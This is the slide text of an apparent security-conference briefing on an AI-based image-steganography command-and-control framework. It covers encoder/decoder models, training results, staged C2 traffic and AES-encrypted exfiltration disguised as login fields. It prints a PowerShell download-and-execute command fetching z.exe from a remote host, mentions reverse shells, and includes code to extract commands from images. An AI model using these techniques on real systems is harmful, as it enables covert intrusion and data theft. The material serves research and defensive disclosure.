

APRIL 3-4, 2025
BRIEFINGS


Al-Powered Image-Based Command and Control (C2)
Framework: Utilizing Al Models to Conceal and Extract
Commands in C2 Images

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Palo Alto Networks



Blind Image Steganography





Blind Image Steganography (BIS) in Attacks

- Metadata manipulation
- Image pixel manipulation
 - Least significant bits (LSB) manipulation
 - F5
 - Steghide
- The encoder or decoder is binary code
 - OceanLotus APT
 - OilRig

echo "This is an attack" >> hacker.png




```
30:4490 FF FF 01 02 FD FF FF 00 FC FE 02 FE 01 FF FF 01 ÿÿ..ýÿÿ. üþ.þ.ÿÿ. 30:44A0 00 01 01 00 00 FF 03 00 00 02 00 FF 00 FF 01 FE ....ÿ.. ...ÿ.ÿ. 30:44B0 01 FE 01 FF FF 00 02 00 03 02 FF FE FD 01 01 FF .þ.ÿÿ.. ...ÿþý..ÿ 30:44C0 01 02 01 FD FF FF 00 03 FF FE 00 01 01 00 00 00 ...ýÿÿ.. ÿþ..... 30:44D0 01 FD FE 01 00 FF 01 02 03 FF FF 01 FF FD FE 00 .ýþ..ÿ.. .ÿÿ.ÿýþ. 30:44E0 FF 02 FF 00 FE 01 FF FF 00 00 02 03 01 06 FF FF ÿ.ÿ.þ.ÿÿ.....ÿÿ 30:44F0 00 01 00 02 F5 18 47 83 FC D4 15 9B 00 00 00 00 ...õ.GfüÕ..... 30:4500 49 45 4E 44 AE 42 60 82 54 68 69 73 20 69 73 20 IEND®B`,This is 30:4510 61 6E 20 61 74 74 61 63 6B 0A
```



Deep Blind Image Steganography


Neural Networks for encoder and decoder

- Al model for the encoder and decoder
- Image content manipulation





Al-Stega Model Overview





ImageToTensor

- Image transformation
 - Convert to Tensor
 - transforms.ToTensor()
 - Normalization
 - transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])



Normalization



```
image_jpg = datasets.folder.default_loader("{}/{}".format(fpath, image_name))
transform_jpg = transforms.Compose([transforms.ToTensor(),
transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])])
```

```
[tensor([[[[-0.3020, -0.5451, -0.4353, ..., 0.9059, 1.0000, 0.9608],
          [-0.4039, -0.3647, -0.2157, \ldots, 0.8275, 0.9686, 0.9686],
          [-0.3569, -0.3020, -0.2392, \ldots, 0.9686, 1.0000, 0.9608],
          [0.2706, 0.2078, 0.2784, \ldots, -0.6863, -0.7725, -0.7647],
          [0.2549, 0.3490, 0.3961, \dots, -0.7961, -0.7412, -0.8353],
          [0.4824, -0.0196, -0.4353, \ldots, -0.8431, -0.7255, -0.8275]],
         [[0.1294, -0.0902, 0.0275, \ldots, 0.7255, 0.8588, 0.8510],
          [-0.0118, 0.0275, 0.1765, \ldots, 0.6000, 0.8510, 0.8667],
          [ 0.0353, 0.0745, 0.1294, ..., 0.8039, 0.8667, 0.8824],
          [0.1529, 0.0824, 0.1294, \ldots, -0.7490, -0.8667, -0.8745],
          [0.1373, 0.2078, 0.2314, \ldots, -0.8745, -0.8431, -0.9373],
          [0.3647, -0.1373, -0.5529, \ldots, -0.9216, -0.8039, -0.9529]],
        [[-0.8118, -1.0000, -0.8980, \ldots, 0.1922, 0.3333, 0.3569],
          [-0.9137, -0.8588, -0.7098, \ldots, 0.0510, 0.3098, 0.4353],
          [-0.8353, -0.7804, -0.6863, \ldots, 0.2784, 0.3725, 0.4667],
          [-0.1529, -0.2000, -0.1294, \ldots, -0.7725, -0.8667, -0.8980],
          [-0.1686, -0.0745, -0.0118, \ldots, -0.8902, -0.9059, -1.0000],
          [0.0431, -0.4431, -0.8118, \ldots, -0.9294, -0.8824, -0.9451]]])]
```

torch.Size([3, 225, 225])



SecretToTensor

- Secret Transformation
 - Convert String to bits
 - Convert Bits to Tensor
 - torch.tensor(np.array(hack, dtype=np.float32))

"2A7F5E9D8B1C45",

0011001001000001001101110100011000110 1010100010100111001010001000011100001 00001000110001010000110011010101

'reboot



torch.Size([2, 112])




messages in png format



Encoder


- Secret Transformation
- Feature Learning Component
 - o ConvBnReLU2d
- Concatenation
- Encoding
 - o ConvBnReLU2d



Decoder

- Input
 - o stega Image
- Output:
 - secret tensor

Encoder





Message Reconstruction

decoded_secret = decoder(image)

```
decoded_secret = tensor([[-5.0739e-03, 9.8353e-01, 9.1987e-01, 9.5598e-01, 5.6946e-04, -2.6901e-02, -9.8091e-03, -1.8357e-03, 7.5587e-03, 9.6331e-01, 9.2766e-01, 1.0335e-02, 9.8043e-01, 9.2233e-01, 9.4351e-01, 9.3678e-01, 1.2992e-03, 9.5897e-01, 9.2707e-01, 9.4650e-01,
```



decoded_rounded = decoded_secret.numpy().round().clip(0, 1)



cmd = array_bits2a(decoded_rounded[0].astype(np.int16).tolist())

cmd =

powershell -Command Invoke-WebRequest -Uri "http://192.168.1.1/z.exe" -OutFile "%TEMP%\z.exe"; Start-Process "%TEM%\z.exe"



Loss Function

- Image Reconstruction loss (MSE loss)
 - o nn.MSELoss(stega_image, cover_image).to(device)
- Secret Reconstruction Loss (L1 Loss)

```
o np.sum(np.abs(decoded_rounded - secret.numpy())) / (batch_size * secret.shape[1])
```



Training Tasks

- Train the model for generic data hiding
 - Messages to be encoded is unseen
- Training for the specific data hiding
 - Overfit the model for fixed number of images and secrets
- Stop condition:
 - Bitwise error == 0
 - Total loss <= threshold



Generic Data Hiding vs Specific Data Hiding

Reconstruction Ratio

Task	Training Data	Image Size	RSR	Bit Error	Training Time
	874	255*255	0	46.23%	43.26 h
	874	255*255	0	46.61%	40.8 h
Generic Data Hiding	874	255*255	0	49.06%	40.75 h
	2	255*255	100%	0	7.84s
Specific Data Hiding	2	255*255	100%	0	13.12s



Specific Data Hiding Capacity Testing




Figure 1. Training time across different payload sizes in images of the same size




Figure 2. Model size across different payload sizes in images of the same size



Encoding/Decoding Logics

- Different bit encoding under
 - Different losses
 - Different training rounds








loss<=0.01

/bin/bash



Round 2

loss<=0.01

2A7F5E9D8B1C45

Round I


loss<=0.05




Why Specific Data Hiding For C2 attacks?

- Attacks need 100% reconstruction ratio
 - Specific data hiding can guarantee the 100% reconstruction ratio
- Training at the C2 server side is more reasonable
 - Specific data hiding relies on the model training for unseen commands
 - Abnormal to train model at the victim machine side

































Operational commands

- o whoami
- o systeminfo
- o tasklist
- o ipconfig

Payload execution commands

- o powershell_revshell
 - Download and run an executable on the compromised machine
 - Connects back to a C2 server listener through a reverse-shell TCP connection



C2 Server

C2 Manager

- /api/v2/browse?country=us& category=science
- /api/v2/category?category_id =technology

C2 Web Controller

- /login.php (HTTP POST)
 - o user_data, auth_token, csrf_token, password
- /decrypt.py
- /m0d3l.pth
- /staging-key.jpg, whoami.jpg, etc.
- /requirements.txt


C2 Machine Learning (Image AI Trainer)



python™

C2 Client

C2 Client Stego Secret Extraction



def retrieve_command(image_path):
 image_tensor = load_image(image_path)
 model = "/imgc2/mode.pth"
 c2_model = torch.jit.load(model)
 return get_cmd(c2_model, image_tensor)

retrieve_command("/imgc2/powershell.jpg")


retrieve_command("/imgc2/powershell.jpg")

powershell -Command Invoke-WebRequest -Uri "http://192.168.1.1/z.exe" -OutFile "%TEMP%\z.exe"; Start-Process "%TEMP%\z.exe"



C2 Image Download Codes

C2 Server and Client Image Command Mappings





Protocol	Length Info
STAGE-0	192 GET /m0d3l.pth HTTP/1.1
HTTP	189 GET /requirements.txt HTTP/1.1
HTTP	181 GET /logo.jpg HTTP/1.1
HTTP	244 GET /api/v2/browse?country=us&category=science HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	166 GET /image.jpg HTTP/1.1
HTTP	244 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1



Protocol	Length Info
HTTP	182 GET /m0d3l.pth HTTP/1.1
STAGE-1	189 GET /requirements.txt HTTP/1.1
HTTP	181 GET /logo.jpg HTTP/1.1
HTTP	244 GET /api/v2/browse?country=us&category=science HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	166 GET /image.jpg HTTP/1.1
HTTP	244 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1



Protocol	Length Info
HTTP	182 GET /m0d3l.pth HTTP/1.1
HTTP	189 GET /requirements.txt HTTP/1.1
STAGE-2	191 GET /logo.jpg HTTP/1.1 < Retrieve the staging key image file
HTTP	244 GET /api/v2/browse?country=us&category=science HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	166 GET /image.jpg HTTP/1.1
HTTP	244 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1



Protocol	Length Info
HTTP	182 GET /m0d3l.pth HTTP/1.1
HTTP	189 GET /requirements.txt HTTP/1.1
HTTP	181 GET /logo.jpg HTTP/1.1
STAGE-3	214 GET /api/v2/browse?country=us&category=science HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	166 GET /image.jpg HTTP/1.1
HTTP	244 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1



Protocol	Length Info
HTTP	182 GET /m0d3l.pth HTTP/1.1
HTTP	189 GET /requirements.txt HTTP/1.1
HTTP	181 GET /logo.jpg HTTP/1.1
HTTP	244 GET /api/v2/browse?country=us&category=science HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	166 GET /image.jpg HTTP/1.1
HTTP	244 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1



Protocol	Length Info
HTTP	182 GET /m0d3l.pth HTTP/1.1
HTTP	189 GET /requirements.txt HTTP/1.1
HTTP	181 GET /logo.jpg HTTP/1.1
HTTP	244 GET /api/v2/browse?country=us&category=science HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	166 GET /image.jpg HTTP/1.1 Retrieve the command image file (image.jpg = whoami.jpg)
HTTP	244 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1




Protocol	Length Info
HTTP	182 GET /m0d3l.pth HTTP/1.1
HTTP	189 GET /requirements.txt HTTP/1.1
HTTP	181 GET /logo.jpg HTTP/1.1
HTTP	244 GET /api/v2/browse?country=us&category=science HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1
HTTP	166 GET /image.jpg HTTP/1.1
HTTP	244 POST /login.php HTTP/1.
HTTP	241 GET /api/v2/category?category_id=technology HTTP/1.1



```
136
      class C2Crypt:
137
          def __init__(self, password):
                                                                     C2 Staging-key (from STAGE 2)
138
              self.password = password
139
              print(f"C2 password: {self.password}")
140
141
          def encrypt(self, plain_text):
142
              # generate a random salt
143
              salt = get random bytes(AES.block size)
              # use the Scrypt KDF to get a private ke from the password
144
              private_key = hashlib.scrypt(self.password.encode() salt=salt, n=2**14, r=8, p=1, dklen=32)
145
              # create cipher config
146
                                                                         HTTP encrypted and encoded data
147
              cipher config = AES.new(private key, AES.MODE GCM)
148
              # return a dictionary with the encrypted text
149
              cipher text, tag = cipher config.encrypt and digest(bytes(plain text, 'utf-8'))
150
151
              enc_result = {
152
                   'user data': base64.b64encode(cipher text).decode('utf-8'),
153
                   'auth token': base64.b64encode(salt).decode('utf-8'),
154
                   'csrf_token': base64.b64encode(cipher_config.nonce).decode('utf-8')
155
                   'password': base64.b64encode(tag).decode('utf-8')
156
157
                                                 Cryptodome, hashlib libraries
              print(enc_result)
                                                 AES-256 in GCM mode
158
              return enc result
                                                 Scrypt KDF (private key from the password)
```





Ciphertext

user_data=emB0EjvYuA3r49wbSDwlcqfK0T89Xw8cwEziyRnN0RUw6BJu7w%3D%3D

```
00000000 7a 60 74 12 3b d8 b8 0d eb e3 dc 1b 48 3c 08 72 |z`t.;$\psi$,.\text{e\tilde{a}}.\text{e\tilde{a}}\text{ii.}|
000000010 a7 ca d1 3f 3d 5f 0f 1c c0 4c e2 c9 19 cd d1 15 |\frac{\tilde{s}\tilde{E}\tilde{N}?=_..\tilde{A}\tilde{L\tilde{a}}\tilde{L}\tilde{N}.|
00000020 30 e8 12 6e ef |0\tilde{e}.n\tilde{I}|
```

Salt

auth_token=PTW%2FCiuk%2BDvsWllwyESPJA%3D %3D

00000000 3d 35 bf 0a 2b a4 f8 3b ec 5a 52 30 c8 44 8f 24 |=5¿.+¤ø;ìZR0ÈD.\$|

Nonce

csrf token=tuy%2BKr%2BDjJ9S3tA1vnJn8Q%3D%3

00000000 b6 ec be 2a bf 83 8c 9f 52 de d0 35 be 72 67 f1 |¶ì¾*¿...RÞÐ5¾rgñ|

Tag

password=4xn87IMEKE6eYazT2a6XTA%3D%3D


00000000 e3 19 fc ec 83 04 28 4e 9e 61 ac d3 d9 ae 97 4c |ã.üì..(N.a¬ÓÙ®.L|



Data Extraction and Exfiltration

Image Command (GET)

Data Exfiltration (POST)





Data Extraction and Exfiltration

Image Command (GET)

Data Exfiltration (POST)






IMAGE-C2 FRAMEWORK

Demo



Conclusion

- Hands-on experience about how to train models for Stega C2 attacks
- Showcase our Al powered Stega C2 framework
- Support out-domain tasks in the future



Reference

- Zhu, Jiren, et al. "Hidden: Hiding data with deep networks." *Proceedings of the European conference on computer vision (ECCV)*. 2018.
- Kumar, Vijay, Saloni Laddha, and Nitin Dogra Aniket. "Steganography techniques using convolutional neural networks." *J. Homepage* 7 (2020): 66-73.

